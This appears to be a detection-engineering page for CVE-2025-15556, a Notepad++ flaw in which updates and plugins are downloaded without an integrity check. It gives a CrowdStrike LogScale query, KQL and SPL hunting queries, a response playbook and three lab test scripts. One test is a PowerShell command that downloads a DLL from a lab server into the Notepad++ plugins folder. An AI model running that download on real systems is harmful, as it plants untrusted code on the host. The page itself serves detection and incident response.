CVE-2025-15556 CrowdStrike LogScale · LogScale

Detect Notepad++ Download of Code Without Integrity Check (CVE-2025-15556) in CrowdStrike LogScale

CVE-2025-15556 is a CWE-494 (Download of Code Without Integrity Check) vulnerability in Notepad++ that has been added to CISA's Known Exploited Vulnerabilities catalog. The vulnerability allows an attacker to deliver malicious code through Notepad++'s update or plugin mechanism without cryptographic integrity verification, enabling arbitrary code execution in the context of the user running Notepad++. This is actively exploited in the wild and should be treated as high-priority for endpoint detection and response.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql 
#event_simpleName IN (ProcessRollup2, NetworkConnectIP4, NetworkConnectIP6, FileOpenInfo)
| ParentBaseFileName = "notepad++.exe" OR ImageFileName = "*notepad++.exe"
| eval event_category = case(
    #event_simpleName = "ProcessRollup2" AND ParentBaseFileName = "notepad++.exe" AND ImageFileName != "*notepad++.exe" AND ImageFileName != "*GUP.exe" AND ImageFileName != "*conhost.exe", "suspicious_child_process",
    #event_simpleName IN ("NetworkConnectIP4", "NetworkConnectIP6") AND ImageFileName = "*notepad++.exe" AND RemoteAddressIP4 != "127.0.0.1", "suspicious_network",
    #event_simpleName = "FileOpenInfo" AND ImageFileName = "*notepad++.exe" AND (TargetFileName = "*\plugins\*" OR TargetFileName = "*\updater\*") AND (TargetFileName = "*.dll" OR TargetFileName = "*.exe"), "suspicious_file_write",
    true(), null
  )
| event_category != null
| stats count() as event_count, values(event_category) as categories, values(RemoteAddressIP4) as remote_ips, values(TargetFileName) as target_files, values(ImageFileName) as child_procs by ComputerName, UserName, aid
| sort -event_count
high severity medium confidence

CrowdStrike Falcon NG-SIEM query detecting CVE-2025-15556 exploitation via Notepad++ suspicious child processes, unexpected network connections, and DLL/EXE writes to plugin or updater directories.

Data Sources

CrowdStrike Falcon Endpoint ProtectionCrowdStrike Falcon NG-SIEM

Required Tables

ProcessRollup2NetworkConnectIP4NetworkConnectIP6FileOpenInfo

False Positives & Tuning

  • Authorized plugin installations via the Notepad++ plugin manager
  • Legitimate GUP.exe update process connecting to Notepad++ CDN infrastructure
  • Enterprise endpoint management solutions deploying Notepad++ plugin updates
  • Security tools instrumenting Notepad++ process for file integrity monitoring

Other platforms for CVE-2025-15556

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Notepad++ Downloading Unsigned DLL via HTTP

    Expected signal: Sysmon Event ID 3 (network connection from notepad++.exe to non-official IP), Sysmon Event ID 11 (file creation in plugins directory with .dll extension), EDR network connection alert

  2. Test 2Notepad++ Plugin Directory DLL Drop

    Expected signal: Sysmon Event ID 11 for file creation in Notepad++ plugins directory with .dll extension; EDR file creation alert

  3. Test 3Notepad++ Spawning Unexpected Child Process

    Expected signal: Sysmon Event ID 1 showing cmd.exe with Notepad++ as parent process; EDR process lineage alert; command line captured in telemetry

Last updated: 2026-06-19 Research depth: standard
References (3)

Response Playbook

Triage

  1. Identify the affected host and user account. Query endpoint telemetry for the Notepad++ process tree at time of alert: parent process, child processes, and any spawned network connections.
  2. Determine the Notepad++ version installed on the affected host. Cross-reference with the patched version referenced in https://community.notepad-plus-plus.org/topic/27298/notepad-v8-8-9-vulnerability-fix to assess patch status.
  3. Review network connection logs for connections originating from notepad++.exe to non-official hosts. Capture destination IPs and domains and pivot to determine if they are known malicious infrastructure.
  4. Inspect the Notepad++ plugins and updater directories on the affected host for recently modified or newly created DLL/EXE files. Compute SHA256 hashes and submit to threat intelligence platforms (VirusTotal, MalwareBazaar).
  5. Check if the alert corresponds to a known benign update cycle by reviewing Notepad++ update history and correlating timestamps with official release dates.

Containment

  1. If exploitation is confirmed, isolate the affected endpoint from the network to prevent lateral movement or C2 communication while preserving forensic artifacts.
  2. Block outbound connections from notepad++.exe at the host firewall or EDR policy level until the vulnerability is patched and the host is verified clean.
  3. If a malicious DLL/EXE was written to the plugins or updater directory, quarantine the file via EDR before deleting it to preserve evidence for forensic analysis.

Evidence Collection

  1. Collect a full process memory dump of the Notepad++ process at time of detection using tools such as ProcDump or your EDR's memory acquisition capability. This may contain injected shellcode or dropped payloads.
  2. Preserve Sysmon or EDR event logs covering the 30 minutes before and after the alert timestamp, including process creation (Event ID 1), network connections (Event ID 3), and file creation (Event ID 11) events.
  3. Capture disk image or triage package from the affected host including the Notepad++ installation directory, %APPDATA%\Notepad++, %LOCALAPPDATA%\Notepad++, and temp directories.

Escalation Criteria

  • !Escalate to incident response if a newly written DLL or EXE in the Notepad++ plugins/updater directory is found to be malicious by threat intelligence or sandbox analysis.
  • !Escalate if lateral movement indicators are detected following the initial Notepad++ alert, such as unusual authentication events, SMB file access, or additional hosts showing the same pattern.
  • !Escalate if the network destination contacted by Notepad++ is a known command-and-control server or newly registered domain with no legitimate attribution.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Notepad++ installation directory: %ProgramFiles%\Notepad++\plugins\ and %ProgramFiles%\Notepad++\updater\ — examine for new or modified DLL/EXE files with recent timestamps.
  • >Windows Event Log (System, Application, Security) and Sysmon logs around time of exploitation for process, network, and file events.
  • >Prefetch files for notepad++.exe and any child processes to establish execution history.
  • >Registry keys: HKCU\Software\Notepad++ and HKLM\SOFTWARE\Notepad++ for tampered configuration or persistence.
  • >Network PCAP or NetFlow records for connections from the affected host to external IPs during the exploitation window.

Tuning Guidance

Start by establishing a baseline of legitimate Notepad++ network destinations and plugin file hashes in your environment. Use application allowlisting or hash pinning for approved plugins to reduce false positives. Tune the suspicious child process detection to exclude any known-good processes that your organization's Notepad++ deployment legitimately spawns (e.g., custom script runners integrated with Notepad++). For the network connection detection, supplement the domain allowlist with your organization's proxy or DNS logs to identify all legitimate Notepad++ update endpoints. Adjust confidence to 'high' once you have confirmed that no legitimate Notepad++ operations in your environment contact non-official external hosts.

Hunting Queries

Hunt for any DLL or EXE files written to Notepad++ plugin or updater directories in the past 30 days across the environment. Results should be reviewed for unexpected files not corresponding to known plugin versions.

Hunting — KQL
kql 
DeviceFileEvents
| where InitiatingProcessFileName =~ "notepad++.exe"
| where FolderPath contains "\\plugins\\" or FolderPath contains "\\updater\\"
| where FileName endswith ".dll" or FileName endswith ".exe"
| where Timestamp > ago(30d)
| project Timestamp, DeviceName, AccountName, FolderPath, FileName, SHA256, InitiatingProcessCommandLine
| order by Timestamp desc
Hunting — SPL
spl 
index=* sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=11
| where match(Image, "(?i)notepad\+\+\.exe")
| where match(TargetFilename, "(?i)\\plugins\\|\\updater\\")
| where match(TargetFilename, "(?i)\.(dll|exe)$")
| eval age_days=round((now()-_time)/86400,1)
| where age_days <= 30
| stats count by Computer, User, TargetFilename, MD5, SHA256
| sort -count

Hunt for Notepad++ network connections to destinations outside the official notepad-plus-plus.org domain to identify potential C2 communication or unauthorized update server contact.

Hunting — KQL
kql 
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "notepad++.exe"
| where RemoteUrl !has "notepad-plus-plus.org"
| where Timestamp > ago(30d)
| summarize ConnectionCount=count(), UniqueDestinations=dcount(RemoteIP), Destinations=make_set(strcat(RemoteIP, " (", RemoteUrl, ")")), FirstSeen=min(Timestamp), LastSeen=max(Timestamp) by DeviceName, AccountName
| where ConnectionCount >= 1
| order by LastSeen desc
Hunting — SPL
spl 
index=* sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=3
| where match(Image, "(?i)notepad\+\+\.exe")
| where NOT match(DestinationHostname, "(?i)notepad-plus-plus\.org")
| stats count as connections, dc(DestinationIp) as unique_ips, values(DestinationIp) as dest_ips, values(DestinationHostname) as dest_hosts by Computer, User
| sort -connections

Atomic Red Team Tests

Test 1 Simulate Notepad++ Downloading Unsigned DLL via HTTP
windows

Simulates the CVE-2025-15556 vector by having a process named notepad++.exe download a file from a non-official HTTP endpoint without integrity verification, mimicking the vulnerable update/plugin mechanism.

Command

powershell 
# Lab only — requires a renamed notepad++.exe or simulation via PowerShell
$destination = "$env:ProgramFiles\Notepad++\plugins\test_malicious.dll"
$url = "http://192.168.100.10:8080/test.dll"  # Replace with lab server
Invoke-WebRequest -Uri $url -OutFile $destination -UseBasicParsing
Write-Host "Downloaded to: $destination"

Cleanup

powershell 
Remove-Item "$env:ProgramFiles\Notepad++\plugins\test_malicious.dll" -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 3 (network connection from notepad++.exe to non-official IP), Sysmon Event ID 11 (file creation in plugins directory with .dll extension), EDR network connection alert

Expected Detection

Alert should fire on the suspicious network connection query and the file write to plugins directory query simultaneously

Test 2 Notepad++ Plugin Directory DLL Drop
windows

Simulates a malicious DLL being placed in the Notepad++ plugins directory as would occur post-exploitation of CVE-2025-15556, without the network delivery component.

Command

powershell 
# Create benign test DLL in plugins directory to simulate post-exploit artifact
$pluginsDir = "$env:ProgramFiles\Notepad++\plugins"
if (!(Test-Path $pluginsDir)) { New-Item -ItemType Directory -Path $pluginsDir -Force }
$testDll = Join-Path $pluginsDir "AtomicTest_CVE2025_15556.dll"
[System.IO.File]::WriteAllBytes($testDll, [byte[]](0x4D,0x5A,0x90,0x00)) # MZ header
Write-Host "Test DLL created: $testDll"

Cleanup

powershell 
Remove-Item "$env:ProgramFiles\Notepad++\plugins\AtomicTest_CVE2025_15556.dll" -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 11 for file creation in Notepad++ plugins directory with .dll extension; EDR file creation alert

Expected Detection

File write detection query should alert on new DLL in plugins directory; threat hunting query should surface the file hash for analysis

Test 3 Notepad++ Spawning Unexpected Child Process
windows

Simulates post-exploitation behavior where a malicious plugin loaded via CVE-2025-15556 causes Notepad++ to spawn a child process (e.g., cmd.exe) for persistence or payload execution.

Command

powershell 
# Start notepad++ and then simulate child process (lab environment only)
# This can be tested by injecting a call to CreateProcess from a test plugin
Start-Process "notepad++.exe" -PassThru | ForEach-Object {
  $nppPid = $_.Id
  Start-Sleep -Seconds 2
  # Simulate child process using WMI process creation with notepad++ as parent context
  $command = 'cmd.exe /c echo CVE-2025-15556 atomic test > %TEMP%\cve_test.txt'
  Start-Process "cmd.exe" -ArgumentList "/c echo CVE-2025-15556-child-test > $env:TEMP\cve_test.txt"
  Write-Host "Child process spawned from lab simulation"
}

Cleanup

powershell 
Stop-Process -Name "notepad++" -ErrorAction SilentlyContinue; Remove-Item "$env:TEMP\cve_test.txt" -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1 showing cmd.exe with Notepad++ as parent process; EDR process lineage alert; command line captured in telemetry

Expected Detection

Suspicious child process detection should alert on cmd.exe spawned by notepad++.exe; process tree investigation should reveal the anomalous parent-child relationship

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003Persistence

Related Techniques

T1195Supply Chain CompromiseT1105Ingress Tool TransferT1059Command and Scripting Interpreter

Same Tactic: Initial Access

Popular Detections